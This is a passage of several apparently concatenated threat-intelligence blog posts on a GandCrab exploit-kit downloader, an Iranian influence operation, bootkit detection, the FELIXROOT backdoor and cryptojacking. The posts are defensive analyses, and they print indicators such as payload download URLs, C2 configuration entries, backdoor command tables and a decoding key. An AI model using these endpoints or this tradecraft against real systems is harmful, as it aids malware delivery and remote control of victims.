{ 0x25, 0x24, 0x60, 0x67, 0x00, 0x20, 0x23, 0x65, 0x6c, 0x00, 0x2f, 0x2e, 0x6e, 0x69, 0x00, 0x2a, 0x35, 0x73, 0x76, 0x00, 0x31, 0x30, 0x74, 0x73, 0x00, 0x3c, 0x3f, 0x79, 0x78, 0x00, 0x3b, 0x3a }

Finally, the actual decoding is done using PXOR with XMM registers (Figure 19).


Figure 19: Payload URL XOR decoding

This leads the way for the downloader switch loop to execute (Figure 20).


Figure 20: Response/Download handler

Table 3 shows a breakdown of HTTP requests, their expected responses (where body = HTTP response body), and corresponding actions.

Request #

Request URL

(Expected Response) body+0x0

body+0x4

body+0x7

Action

1

hxxp://91[.]210.104.247/update.bin

0x666555

0x0

url for request #2

Download payload via request #2, verify MZ and PE header, execute via CreateProcessW

1

hxxp://91[.]210.104.247/update.bin

0x666555

0x1

N/A

Supposed to be executing already downloaded payload via CreateProcess. However, the functionality has been shortcircuited; instead, it does nothing and continues loop after sleep

1

hxxp://91[.]210.104.247/update.bin

0x666555

0x2

url for request #2

Download payload via request #2, verify MZ and PE header, load it manually in native process space using its PE loader module

1

hxxp://91[.]210.104.247/update.bin

0x666555

0x3

N/A

Supposed to be executing already downloaded payload via its PE loader. However, the functionality has been shortcircuited; instead, it does nothing and continues loop after sleep

1

hxxp://91[.]210.104.247/update.bin

0x666555

0x4

url for request #3

Perform request #3

1

hxxp://91[.]210.104.247/update.bin

N/A

N/A

N/A

Sleep for 10 minutes and continue from request #1

2

from response #1

PE payload

N/A

N/A

Execute via CreateProcessW or internal PE loader, depending on previous response

3

from response #1

N/A

N/A

N/A

No action taken. Sleep for 10 minutes and start with request #1

Table 3: HTTP requests, responses, and actions

The request sequence leads to GandCrab ransomware being fetched and manually loaded into memory by the malware. Figure 21 and Figure 22 show sample request #1 and request #2 respectively, leading to the download and execution of GandCrab (8dbaf2fda5d19bab0d7c1866e0664035).


Figure 21: Request #1 fetching initial command sequence from payload URL


Figure 22: Request #2 downloads GandCrab ransomware that gets manually loaded into memory

Conclusion

In recent years, arrests and distruptions of underground operations have led to exploit kit activity declining heavily. Still, exploit kits pose a significant threat to users who are not running fully patched systems. Nowadays we see more exploit kit activity in the Asia Pacific region, where users tend to have more vulnerable software. Meanwhile, in North America, the focus tends to be on more straightforward social engineering campaigns.

FireEye Network Security detects all exploits, social engineering campaigns, malware, and command and control communication mentioned in this post. MVX technology used in multiple FireEye products detects the first stage and second stage malware described in this post.

Indicators of Compromise

Domain / IP / Address / Filename

MD5 Hash Or Description

finalcountdown.gq, naosecgomosec.gq,

ladcbteihg.gq, dontneedcoffee.gq

Exploit kit domains

78.46.142.44, 185.243.112.198

Exploit kit IPs

47B5.tmp

4072690b935cdbfd5c457f26f028a49c

hxxp://46.101.205.251/wt/ww.php

 

hxxp://107.170.215.53/workt/trkmix.php?device=desktop&country=AT&connection.type=BROADBAND&clickid=58736927880257537&countryname=
Austria&browser=ie&browserversion=11&carrier=%3F&cost=0.0004922&isp=BAXALTA+INCORPORATED+ASN&os=windows&osversion=6.1&useragent=
Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%3B+Trident%2F7.0%3B+rv%3A11.0%29+like+Gecko&campaignid=1326906&language=de&zoneid=1628971

 

Redirect URL examples used between malvertisement and exploit kit controlled domains

91.210.104[.]247/update.bin

Second stage payload download URL

91.210.104[.]247/not_a_virus.dll

8dbaf2fda5d19bab0d7c1866e0664035

 

Second stage payload (GandCrab ransomware)

Acknowledgements

We would like to thank Hassan Faizan for his contributions to this blog post.

Suspected Iranian Influence Operation Leverages Network of Inauthentic News Sites & Social Media Targeting Audiences in U.S., UK, Latin America, Middle East

FireEye has identified a suspected influence operation that appears to originate from Iran aimed at audiences in the U.S., U.K., Latin America, and the Middle East. This operation is leveraging a network of inauthentic news sites and clusters of associated accounts across multiple social media platforms to promote political narratives in line with Iranian interests. These narratives include anti-Saudi, anti-Israeli, and pro-Palestinian themes, as well as support for specific U.S. policies favorable to Iran, such as the U.S.-Iran nuclear deal (JCPOA). The activity we have uncovered is significant, and demonstrates that actors beyond Russia continue to engage in and experiment with online, social media-driven influence operations to shape political discourse.

What Is This Activity?

Figure 1 maps the registration and content promotion connections between the various inauthentic news sites and social media account clusters we have identified thus far. This activity dates back to at least 2017. At the time of publication of this blog post, we continue to investigate and identify additional social media accounts and websites linked to this activity. For example, we have identified multiple Arabic-language, Middle East-focused sites that appear to be part of this broader operation that we do not address here.


Figure 1: Connections among components of suspected Iranian influence operation

We use the term “inauthentic” to describe sites that are not transparent in their origins and affiliations, undertake concerted efforts to mask these origins, and often use false social media personas to promote their content. The content published on the various websites consists of a mix of both original content and news articles appropriated, and sometimes altered, from other sources.

Who Is Conducting this Activity and Why?

Based on an investigation by FireEye Intelligence’s Information Operations analysis team, we assess with moderate confidence that this activity originates from Iranian actors. This assessment is based on a combination of indicators, including site registration data and the linking of social media accounts to Iranian phone numbers, as well as the promotion of content consistent with Iranian political interests. For example:

  • Registrant emails for the sites ‘Liberty Front Press’ and ‘Instituto Manquehue’ are associated with advertisements for website designers in Tehran and with the Iran-based site gahvare[.]com, respectively.
  • We have identified multiple Twitter accounts directly affiliated with the sites, as well as other associated Twitter accounts, that are linked to phone numbers with the +98 Iranian country code.
  • We have observed inauthentic social media personas, masquerading as American liberals supportive of U.S. Senator Bernie Sanders, heavily promoting Quds Day, a holiday established by Iran in 1979 to express support for Palestinians and opposition to Israel.

We limit our assessment regarding Iranian origins to moderate confidence because influence operations, by their very nature, are intended to deceive by mimicking legitimate online activity as closely as possible. While highly unlikely given the evidence we have identified, some possibility nonetheless remains that the activity could originate from elsewhere, was designed for alternative purposes, or includes some small percentage of authentic online behavior. We do not currently possess additional visibility into the specific actors, organizations, or entities behind this activity. Although the Iran-linked APT35 (Newscaster) has previously used inauthentic news sites and social media accounts to facilitate espionage, we have not observed any links to APT35.

Broadly speaking, the intent behind this activity appears to be to promote Iranian political interests, including anti-Saudi, anti-Israeli, and pro-Palestinian themes, as well as to promote support for specific U.S. policies favorable to Iran, such as the U.S.-Iran nuclear deal (JCPOA). In the context of the U.S.-focused activity, this also includes significant anti-Trump messaging and the alignment of social media personas with an American liberal identity. However, it is important to note that the activity does not appear to have been specifically designed to influence the 2018 U.S. midterm elections, as it extends well beyond U.S. audiences and U.S. politics.

Conclusion

The activity we have uncovered highlights that multiple actors continue to engage in and experiment with online, social media-driven influence operations as a means of shaping political discourse. These operations extend well beyond those conducted by Russia, which has often been the focus of research into information operations over recent years. Our investigation also illustrates how the threat posed by such influence operations continues to evolve, and how similar influence tactics can be deployed irrespective of the particular political or ideological goals being pursued.

Additional Details

The full report is available for download via the link of the top right of the page.

Announcing the Fifth Annual Flare-On Challenge

The FireEye Labs Advanced Reverse Engineering (FLARE) team’s annual reverse engineering challenge will start at 8:00 p.m. ET on Aug. 24, 2018. This is a CTF-style challenge for all active and aspiring reverse engineers, malware analysts, and security professionals. So dust off your disassembler, put a new coat of oil on your old debugger, and get your favorite chat client ready to futilely beg your friends for help. Once again, this contest is designed for individuals, not teams, and it is a single track of challenges. The contest runs for six full weeks and ends at 8:00 p.m. ET on Oct. 5, 2018.

This year’s contest will once again host a total of 12 challenges covering architectures from x86, x64 on Windows, Java, .NET, Webassembly, and Linux, with special appearances of Bootloaders and Bootkits. This is one of the only Windows-centric CTF challenges out there and we have crafted it to represent the skills and challenges of our workload on the FLARE team.

If you complete the Flare-On Challenge you will receive a prize and permanent recognition on the flare-on.com website for your accomplishment. Prize details will be revealed when the contest ends, but as always, it will be something that will be coveted and envied by your peers. In prior years we’ve had rodeo belt buckles, replica police badges, challenge coins, and a huge pin.

Check out the Flare-On website for a live countdown timer and to see the previous year’s winners. For official news and support we will be using the Twitter hashtag: #flareon5.

BIOS Boots What? Finding Evil in Boot Code at Scale!

The second issue is that reverse engineering all boot records is impractical. Given the job of determining if a single system is infected with a bootkit, a malware analyst could acquire a disk image and then reverse engineer the boot bytes to determine if anything malicious is present in the boot chain. However, this process takes time and even an army of skilled reverse engineers wouldn’t scale to the size of modern enterprise networks. To put this in context, the compromised enterprise network referenced in our ROCKBOOT blog post had approximately 10,000 hosts. Assuming a minimum of two boot records per host, a Master Boot Record (MBR) and a Volume Boot Record (VBR), that is an average of 20,000 boot records to analyze! An initial reaction is probably, “Why not just hash the boot records and only analyze the unique ones?” One would assume that corporate networks are mostly homogeneous, particularly with respect to boot code, yet this is not the case. Using the same network as an example, the 20,000 boot records reduced to only 6,000 unique records based on MD5 hash. Table 1 demonstrates this using data we’ve collected across our engagements for various enterprise sizes.

Enterprise Size (# hosts)

Avg # Unique Boot Records (md5)

100-1000

428

1000-10000

4,738

10000+

8,717

Table 1 – Unique boot records by MD5 hash

Now, the next thought might be, “Rather than hashing the entire record, why not implement a custom hashing technique where only subsections of the boot code are hashed, thus avoiding the dynamic data portions?” We tried this as well. For example, in the case of Master Boot Records, we used the bytes at the following two offsets to calculate a hash:

md5( offset[0:218] + offset[224:440] )

In one network this resulted in approximately 185,000 systems reducing to around 90 unique MBR hashes. However, this technique had drawbacks. Most notably, it required accounting for numerous special cases for applications such as Altiris, SafeBoot, and PGPGuard. This required small adjustments to the algorithm for each environment, which in turn required reverse engineering many records to find the appropriate offsets to hash.

Ultimately, we concluded that to solve the problem we needed a solution that provided the following:

  • A reliable collection of boot records from systems
  • A behavioral analysis of boot records, not just static analysis
  • The ability to analyze tens of thousands of boot records in a timely manner

The remainder of this post describes how we solved each of these challenges.

Collect the Bytes

Malicious drivers insert themselves into the disk driver stack so they can intercept disk I/O as it traverses the stack. They do this to hide their presence (the real bytes) on disk. To address this attack vector, we developed a custom kernel driver (henceforth, our “Raw Read” driver) capable of targeting various altitudes in the disk driver stack. Using the Raw Read driver, we identify the lowest level of the stack and read the bytes from that level (Figure 1).


Figure 1: Malicious driver inserts itself as a filter driver in the stack, raw read driver reads bytes from lowest level

This allows us to bypass the rest of the driver stack, as well as any user space hooks. (It is important to note, however, that if the lowest driver on the I/O stack has an inline code hook an attacker can still intercept the read requests.) Additionally, we can compare the bytes read from the lowest level of the driver stack to those read from user space. Introducing our first indicator of a compromised boot system: the bytes retrieved from user space don’t match those retrieved from the lowest level of the disk driver stack.

Analyze the Bytes

As previously mentioned, reverse engineering and static analysis are impractical when dealing with hundreds of thousands of boot records. Automated dynamic analysis is a more practical approach, specifically through emulating the execution of a boot record. In more technical terms, we are emulating the real mode instructions of a boot record.

The emulation engine that we chose is the Unicorn project. Unicorn is based on the QEMU emulator and supports 16-bit real mode emulation. As boot samples are collected from endpoint machines, they are sent to the emulation engine where high-level functionality is captured during emulation. This functionality includes events such as memory access, disk reads and writes, and other interrupts that execute during emulation.

The Execution Hash

Folding down (aka stacking) duplicate samples is critical to reduce the time needed on follow-up analysis by a human analyst. An interesting quality of the boot samples gathered at scale is that while samples are often functionally identical, the data they use (e.g. strings or offsets) is often very different. This makes it quite difficult to generate a hash to identify duplicates, as demonstrated in Table 1. So how can we solve this problem with emulation? Enter the “execution hash”. The idea is simple: during emulation, hash the mnemonic of every assembly instruction that executes (e.g., “md5(‘and’ + ‘mov’ + ‘shl’ + ‘or’)”). Figure 2 illustrates this concept of hashing the assembly instruction as it executes to ultimately arrive at the “execution hash”


Figure 2: Execution hash

Using this method, the 650,000 unique boot samples we’ve collected to date can be grouped into a little more than 300 unique execution hashes. This reduced data set makes it far more manageable to identify samples for follow-up analysis. Introducing our second indicator of a compromised boot system: an execution hash that is only found on a few systems in an enterprise!

Behavioral Analysis

Like all malware, suspicious activity executed by bootkits can vary widely. To avoid the pitfall of writing detection signatures for individual malware samples, we focused on identifying behavior that deviates from normal OS bootstrapping. To enable this analysis, the series of instructions that execute during emulation are fed into an analytic engine. Let's look in more detail at an example of malicious functionality exhibited by several bootkits that we discovered by analyzing the results of emulation.

Several malicious bootkits we discovered hooked the interrupt vector table (IVT) and the BIOS Data Area (BDA) to intercept system interrupts and data during the boot process. This can provide an attacker the ability to intercept disk reads and also alter the maximum memory reported by the system. By hooking these structures, bootkits can attempt to hide themselves on disk or even in memory.

These hooks can be identified by memory writes to the memory ranges reserved for the IVT and BDA during the boot process. The IVT structure is located at the memory range 0000:0000h to 0000:03FCh and the BDA is located at 0040:0000h. The malware can hook the interrupt 13h handler to inspect and modify disk writes that occur during the boot process. Additionally, bootkit malware has been observed modifying the memory size reported by the BIOS Data Area in order to potentially hide itself in memory.

This leads us to our final category of indicators of a compromised boot system: detection of suspicious behaviors such as IVT hooking, decoding and executing data from disk, suspicious screen output from the boot code, and modifying files or data on disk.

Do it at Scale

Dynamic analysis gives us a drastic improvement when determining the behavior of boot records, but it comes at a cost. Unlike static analysis or hashing, it is orders of magnitude slower. In our cloud analysis environment, the average time to emulate a single record is 4.83 seconds. Using the compromised enterprise network that contained ROCKBOOT as an example (approximately 20,000 boot records), it would take more than 26 hours to dynamically analyze (emulate) the records serially! In order to provide timely results to our analysts we needed to easily scale our analysis throughput relative to the amount of incoming data from our endpoint technologies. To further complicate the problem, boot record analysis tends to happen in batches, for example, when our endpoint technology is first deployed to a new enterprise.

With the advent of serverless cloud computing, we had the opportunity to create an emulation analysis service that scales to meet this demand – all while remaining cost effective. One of the advantages of serverless computing versus traditional cloud instances is that there are no compute costs during inactive periods; the only cost incurred is storage. Even when our cloud solution receives tens of thousands of records at the start of a new customer engagement, it can rapidly scale to meet demand and maintain near real-time detection of malicious bytes.

The cloud infrastructure we selected for our application is Amazon Web Services (AWS). Figure 3 provides an overview of the architecture.


Figure 3: Boot record analysis workflow

Our design currently utilizes:

  • API Gateway to provide a RESTful interface.
  • Lambda functions to do validation, emulation, analysis, as well as storage and retrieval of results.
  • DynamoDB to track progress of processed boot records through the system.
  • S3 to store boot records and emulation reports.

The architecture we created exposes a RESTful API that provides a handful of endpoints. At a high level the workflow is:

  1. Endpoint agents in customer networks automatically collect boot records using FireEye’s custom developed Raw Read kernel driver (see “Collect the bytes” described earlier) and return the records to FireEye’s Incident Response (IR) server.
  2. The IR server submits batches of boot records to the AWS-hosted REST interface, and polls the interface for batched results.
  3. The IR server provides a UI for analysts to view the aggregated results across the enterprise, as well as automated notifications when malicious boot records are found.

The REST API endpoints are exposed via AWS’s API Gateway, which then proxies the incoming requests to a “submission” Lambda. The submission Lambda validates the incoming data, stores the record (aka boot code) to S3, and then fans out the incoming requests to “analysis” Lambdas.

The analysis Lambda is where boot record emulation occurs. Because Lambdas are started on demand, this model allows for an incredibly high level of parallelization. AWS provides various settings to control the maximum concurrency for a Lambda function, as well as memory/CPU allocations and more. Once the analysis is complete, a report is generated for the boot record and the report is stored in S3. The reports include the results of emulation and other metadata extracted from the boot record (e.g., ASCII strings).

As described earlier, the IR server periodically polls the AWS REST endpoint until processing is complete, at which time the report is downloaded.

Find More Evil in Big Data

Our workflow for identifying malicious boot records is only effective when we know what malicious indicators to look for, or what execution hashes to blacklist. But what if a new malicious boot record (with a unique hash) evades our existing signatures?

For this problem, we leverage our in-house big data platform engine that we integrated into FireEye Helix following the acquisition of X15 Software. By loading the results of hundreds of thousands of emulations into the engine X15, our analysts can hunt through the results at scale and identify anomalous behaviors such as unique screen prints, unusual initial jump offsets, or patterns in disk reads or writes.

This analysis at scale helps us identify new and interesting samples to reverse engineer, and ultimately helps us identify new detection signatures that feed back into our analytic engine.

Conclusion

Within weeks of going live we detected previously unknown compromised systems in multiple customer environments. We’ve identified everything from ROCKBOOT and HDRoot! bootkits to the admittedly humorous JackTheRipper, a bootkit that spreads itself via floppy disk (no joke). Our system has collected and processed nearly 650,000 unique records to date and continues to find the evil needles (suspicious and malicious boot records) in very large haystacks.

In summary, by combining advanced endpoint boot record extraction with scalable serverless computing and an automated emulation engine, we can rapidly analyze thousands of records in search of evil. FireEye is now using this solution in both our Managed Defense and Incident Response offerings.

Acknowledgements

Dimiter Andonov, Jamin Becker, Fred House, and Seth Summersett contributed to this blog post.

Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign

Campaign Details

In September 2017, FireEye identified the FELIXROOT backdoor as a payload in a campaign targeting Ukrainians and reported it to our intelligence customers. The campaign involved malicious Ukrainian bank documents, which contained a macro that downloaded a FELIXROOT payload, being distributed to targets.

FireEye recently observed the same FELIXROOT backdoor being distributed as part of a newer campaign. This time, weaponized lure documents claiming to contain seminar information on environmental protection were observed exploiting known Microsoft Office vulnerabilities CVE-2017-0199 and CVE-2017-11882 to drop and execute the backdoor binary on the victim’s machine. Figure 1 shows the attack overview.


Figure 1: Attack overview

The malware is distributed via Russian-language documents (Figure 2) that are weaponized with known Microsoft Office vulnerabilities. In this campaign, we observed threat actors exploiting CVE-2017-0199 and CVE-2017-11882 to distribute malware. The malicious document used is named “Seminar.rtf”. It exploits CVE-2017-0199 to download the second stage payload from 193.23.181.151 (Figure 3). The downloaded file is weaponized with CVE-2017-11882.


Figure 2: Lure documents


Figure 3: Hex dump of embedded URL in Seminar.rtf

Figure 4 shows the first payload trying to download the second stage Seminar.rtf.


Figure 4: Downloading second stage Seminar.rtf

The downloaded Seminar.rtf contains an embedded binary file that is dropped in %temp% via Equation Editor executable. This file drops the executable at %temp% (MD5: 78734CD268E5C9AB4184E1BBE21A6EB9), which is used to drop and execute the FELIXROOT dropper component (MD5: 92F63B1227A6B37335495F9BCB939EA2).

The dropped executable (MD5: 78734CD268E5C9AB4184E1BBE21A6EB9) contains the compressed FELIXROOT dropper component in the Portable Executable (PE) binary overlay section. When it is executed, it creates two files: an LNK file that points to %system32%\rundll32.exe, and the FELIXROOT loader component. The LNK file is moved to the startup directory. Figure 5 shows the command in the LNK file to execute the loader component of FELIXROOT.


Figure 5: Command in LNK file

The embedded backdoor component is encrypted using custom encryption. The file is decrypted and loaded directly in memory without touching the disk.

Technical Details

After successful exploitation, the dropper component executes and drops the loader component. The loader component is executed via RUNDLL32.EXE. The backdoor component is loaded in memory and has a single exported function.

Strings in the backdoor are encrypted using a custom algorithm that uses XOR with a 4-byte key. Decryption logic used for ASCII strings is shown in Figure 6.


Figure 6: ASCII decryption routine

Decryption logic used for Unicode strings is shown in Figure 7.


Figure 7: Unicode decryption routine

Upon execution, a new thread is created where the backdoor sleeps for 10 minutes. Then it checks to see if it was launched by RUNDLL32.exe along with parameter #1. If the malware was launched by RUNDLL32.exe with parameter #1, then it proceeds with initial system triage before doing command and control (C2) network communications. Initial triage begins with connecting to Windows Management Instrumentation (WMI) via the “ROOT\CIMV2” namespace.

Figure 8 shows the full operation.


Figure 8: Initial execution process of backdoor component

Table 1 shows the classes referred from the “ROOT\CIMV2” and “Root\SecurityCenter2” namespace.

WMI Namespaces

Win32_OperatingSystem

Win32_ComputerSystem

AntiSpywareProduct

AntiVirusProduct

FirewallProduct

Win32_UserAccount

Win32_NetworkAdapter

Win32_Process

Table 1: Referred classes

WMI Queries and Registry Keys Used

  1. SELECT Caption FROM Win32_TimeZone
  2. SELECT CSNAME, Caption, CSDVersion, Locale, RegisteredUser FROM Win32_OperatingSystem
  3. SELECT Manufacturer, Model, SystemType, DomainRole, Domain, UserName FROM Win32_ComputerSystem

Registry entries are read for potential administration escalation and proxy information.

  1. Registry key “SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ” is queried to check the values ConsentPromptBehaviorAdmin and PromptOnSecureDesktop.
  2. Registry key “Software\Microsoft\Windows\CurrentVersion\Internet Settings\” is queried to gather proxy information with values ProxyEnable, Proxy: (NO), Proxy, ProxyServer.

Table 2 shows FELIXROOT backdoor capabilities. Each command is performed in an individual thread.

Command

Description

0x31

Fingerprint System via WMI and Registry

0x32

Drop File and execute

0x33

Remote Shell

0x34

Terminate connection with C2

0x35

Download and run batch script

0x36

Download file on machine

0x37

Upload File

Table 2: FELIXROOT backdoor commands

Figure 9 shows the log message decrypted from memory using the same mechanism shown in Figure 6 and Figure 7 for every command executed.


Figure 9: Command logs after execution

Network Communications

FELIXROOT communicates with its C2 via HTTP and HTTPS POST protocols. Data sent over the network is encrypted and arranged in a custom structure. All data is encrypted with AES, converted into Base64, and sent to the C2 server (Figure 10).


Figure 10: POST request to C2 server

All other fields, such as User-Agents, Content-Type, and Accept-Encoding, that are part of the request / response header are XOR encrypted and present in the malware. The malware queries the Windows API to get the computer name, user name, volume serial number, Windows version, processor architecture and two additional values, which are “1.3” and “KdfrJKN”. The value “KdfrJKN” may be used as identification for the campaign and is found in the JOSN object in the file (Figure 11).


Figure 11: Host information used in every communication

The FELIXROOT backdoor has three parameters for C2 communication. Each parameter provides information about the task performed on the target machine (Table 3).

Parameter

Description

‘u=’

This parameter contains target machine information in the following format:

<Computer Name>, <User Name>, <Windows Versions>, <Processor Architecture>, <1.3>, < KdfrJKN >, <Volume Serial Number>

‘&h=’

This parameter includes the information about the command executed and its results.

‘&p=’

This parameter contains the information about data associated with the C2 server.

Table 3: FELIXROOT backdoor parameters

Cryptography

All data is transferred to C2 servers using AES encryption and the IbindCtx COM interface using HTTP or HTTPS protocol. The AES key is unique for each communication and is encrypted with one of two RSA public keys. Figure 12 and Figure 13 show the RSA keys used in FELIXROOT, and Figure 14 shows the AES encryption parameters.


Figure 12: RSA public key 1


Figure 13: RSA public key 2


Figure 14: AES encryption parameters

After encryption, the cipher text to be sent over C2 is Base64 encoded. Figure 15 shows the structure used to send data to the server, and Figure 16 shows the structural representation of data used in C2 communications.


Figure 15: Structure used to send data to server


Figure 16: Structure used to send data to C2 server

The structure is converted to Base64 using the CryptBinaryToStringA function.

FELIXROOT backdoor contains several commands for specific tasks. After execution of every task, the malware sleeps for one minute before executing the next task. Once all the tasks have been executed completely, the malware breaks the loop, sends the termination buffer back, and clears all the footprints from the targeted machine:

  1. Deletes the LNK file from the startup directory.
  2. Deletes the registry key HKCU\Software\Classes\Applications\rundll32.exe\shell\open
  3. Deletes the dropper components from the system.

Conclusion

CVE-2017-0199 and CVE-2017-11882 are two of the more commonly exploited vulnerabilities that we are currently seeing. Threat actors will increasingly leverage these vulnerabilities in their attacks until they are no longer finding success, so organizations must ensure they are protected. At this time of writing, FireEye Multi Vector Execution (MVX) engine is able to recognize and block this threat. We also advise that all industries remain on alert, as the threat actors involved in this campaign may eventually broaden the scope of their current targeting.

Appendix

Indicators of Compromise

11227ECA89CC053FB189FAC3EBF27497

Seminar.rtf

4DE5ADB865B5198B4F2593AD436FCEFF

Seminar.rtf

78734CD268E5C9AB4184E1BBE21A6EB9

Zam<RandomNumber>.doc

92F63B1227A6B37335495F9BCB939EA2

FELIXROOT Dropper

DE10A32129650849CEAF4009E660F72F

FELIXROOT Backdoor

Table 4: FELIXROOT IOCs

Network Indicators of Compromise

217.12.204.100/news

217.12.204.100:443/news

193.23.181.151/Seminar.rtf

Accept-Encoding: gzip, deflate

content-Type: application/x-www-form-urlencoded

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)

Configuration Files

Version 1:

{"1" : "https://88.198.13.116:8443/xmlservice","2" : "30","4" : "GufseGHbc","6" : "3", "7" :

“http://88.198.13.116:8080/xmlservice"}

Version 2:

{"1" : "https://217.12.204.100/news/","2" : "30","4" : "KdfrJKN","6" : "3", "7" :

"http://217.12.204.100/news/"}

FireEye Detections

MD5

Product

Signature

Action

11227ECA89CC053FB189FAC3EBF27497

NX/EX/AX

Malware.Binary.rtf

Block

4DE5ADB865B5198B4F2593AD436FCEFF

NX/EX/AX

Malware.Binary.rtf

Block

78734CD268E5C9AB4184E1BBE21A6EB9

NX/EX/AX

Malware.Binary

Block

92F63B1227A6B37335495F9BCB939EA2

NX/EX/AX

FE_Dropper_Win32_FELIXROOT_1

Block

DE10A32129650849CEAF4009E660F72F

NX/EX/AX

FE_Backdoor_Win32_FELIXROOT_2

Block

11227ECA89CC053FB189FAC3EBF27497

HX

IOC

Alert

4DE5ADB865B5198B4F2593AD436FCEFF

HX

IOC

Alert

Table 5: FireEye Detections

Acknowledgements

Special thanks to Jonell Baltazar, Alex Berry and Benjamin Read for their contributions to this blog.

How the Rise of Cryptocurrencies Is Shaping the Cyber Crime Landscape: The Growth of Miners

Introduction

Cyber criminals tend to favor cryptocurrencies because they provide a certain level of anonymity and can be easily monetized. This interest has increased in recent years, stemming far beyond the desire to simply use cryptocurrencies as a method of payment for illicit tools and services. Many actors have also attempted to capitalize on the growing popularity of cryptocurrencies, and subsequent rising price, by conducting various operations aimed at them. These operations include malicious cryptocurrency mining (also referred to as cryptojacking), the collection of cryptocurrency wallet credentials, extortion activity, and the targeting of cryptocurrency exchanges.

This blog post discusses the various trends that we have been observing related to cryptojacking activity, including cryptojacking modules being added to popular malware families, an increase in drive-by cryptomining attacks, the use of mobile apps containing cryptojacking code, cryptojacking as a threat to critical infrastructure, and observed distribution mechanisms.

What Is Mining?

As transactions occur on a blockchain, those transactions must be validated and propagated across the network. As computers connected to the blockchain network (aka nodes) validate and propagate the transactions across the network, the miners include those transactions into "blocks" so that they can be added onto the chain. Each block is cryptographically hashed, and must include the hash of the previous block, thus forming the "chain" in blockchain. In order for miners to compute the complex hashing of each valid block, they must use a machine's computational resources. The more blocks that are mined, the more resource-intensive solving the hash becomes. To overcome this, and accelerate the mining process, many miners will join collections of computers called "pools" that work together to calculate the block hashes. The more computational resources a pool harnesses, the greater the pool's chance of mining a new block. When a new block is mined, the pool's participants are rewarded with coins. Figure 1 illustrates the roles miners play in the blockchain network.


Figure 1: The role of miners

Underground Interest

FireEye iSIGHT Intelligence has identified eCrime actor interest in cryptocurrency mining-related topics dating back to at least 2009 within underground communities. Keywords that yielded significant volumes include miner, cryptonight, stratum, xmrig, and cpuminer. While searches for certain keywords fail to provide context, the frequency of these cryptocurrency mining-related keywords shows a sharp increase in conversations beginning in 2017 (Figure 2). It is probable that at least a subset of actors prefer cryptojacking over other types of financially motivated operations due to the perception that it does not attract as much attention from law enforcement.


Figure 2: Underground keyword mentions

Monero Is King

The majority of recent cryptojacking operations have overwhelmingly focused on mining Monero, an open-source cryptocurrency based on the CryptoNote protocol, as a fork of Bytecoin. Unlike many cryptocurrencies, Monero uses a unique technology called "ring signatures," which shuffles users' public keys to eliminate the possibility of identifying a particular user, ensuring it is untraceable. Monero also employs a protocol that generates multiple, unique single-use addresses that can only be associated with the payment recipient and are unfeasible to be revealed through blockchain analysis, ensuring that Monero transactions are unable to be linked while also being cryptographically secure.

The Monero blockchain also uses what's called a "memory-hard" hashing algorithm called CryptoNight and, unlike Bitcoin's SHA-256 algorithm, it deters application-specific integrated circuit (ASIC) chip mining. This feature is critical to the Monero developers and allows for CPU mining to remain feasible and profitable. Due to these inherent privacy-focused features and CPU-mining profitability, Monero has become an attractive option for cyber criminals.

Underground Advertisements for Miners

Because most miner utilities are small, open-sourced tools, many criminals rely on crypters. Crypters are tools that employ encryption, obfuscation, and code manipulation techniques to keep their tools and malware fully undetectable (FUD). Table 1 highlights some of the most commonly repurposed Monero miner utilities.

XMR Mining Utilities

XMR-STACK

MINERGATE

XMRMINER

CCMINER

XMRIG

CLAYMORE

SGMINER

CAST XMR

LUKMINER

CPUMINER-MULTI

Table 1: Commonly used Monero miner utilities

The following are sample advertisements for miner utilities commonly observed in underground forums and markets. Advertisements typically range from stand-alone miner utilities to those bundled with other functions, such as credential harvesters, remote administration tool (RAT) behavior, USB spreaders, and distributed denial-of-service (DDoS) capabilities.

Sample Advertisement #1 (Smart Miner + Builder)

In early April 2018, actor "Mon£y" was observed by FireEye iSIGHT Intelligence selling a Monero miner for $80 USD – payable via Bitcoin, Bitcoin Cash, Ether, Litecoin, or Monero – that included unlimited builds, free automatic updates, and 24/7 support. The tool, dubbed Monero Madness (Figure 3), featured a setting called Madness Mode that configures the miner to only run when the infected machine is idle for at least 60 seconds. This allows the miner to work at its full potential without running the risk of being identified by the user. According to the actor, Monero Madness also provides the following features:

  • Unlimited builds
  • Builder GUI (Figure 4)
  • Written in AutoIT (no dependencies)
  • FUD
  • Safer error handling
  • Uses most recent XMRig code
  • Customizable pool/port
  • Packed with UPX
  • Works on all Windows OS (32- and 64-bit)
  • Madness Mode option


Figure 3: Monero Madness


Figure 4: Monero Madness builder

Sample Advertisement #2 (Miner + Telegram Bot Builder)

In March 2018, FireEye iSIGHT Intelligence observed actor "kent9876" advertising a Monero cryptocurrency miner called Goldig Miner (Figure 5). The actor requested payment of $23 USD for either CPU or GPU build or $50 USD for both. Payments could be made with Bitcoin, Ether, Litecoin, Dash, or PayPal. The miner ostensibly offers the following features:

  • Written in C/C++
  • Build size is small (about 100–150 kB)
  • Hides miner process from popular task managers
  • Can run without Administrator privileges (user-mode)
  • Auto-update ability
  • All data encoded with 256-bit key
  • Access to Telegram bot-builder
  • Lifetime support (24/7) via Telegram


Figure 5: Goldig Miner advertisement

Sample Advertisement #3 (Miner + Credential Stealer)

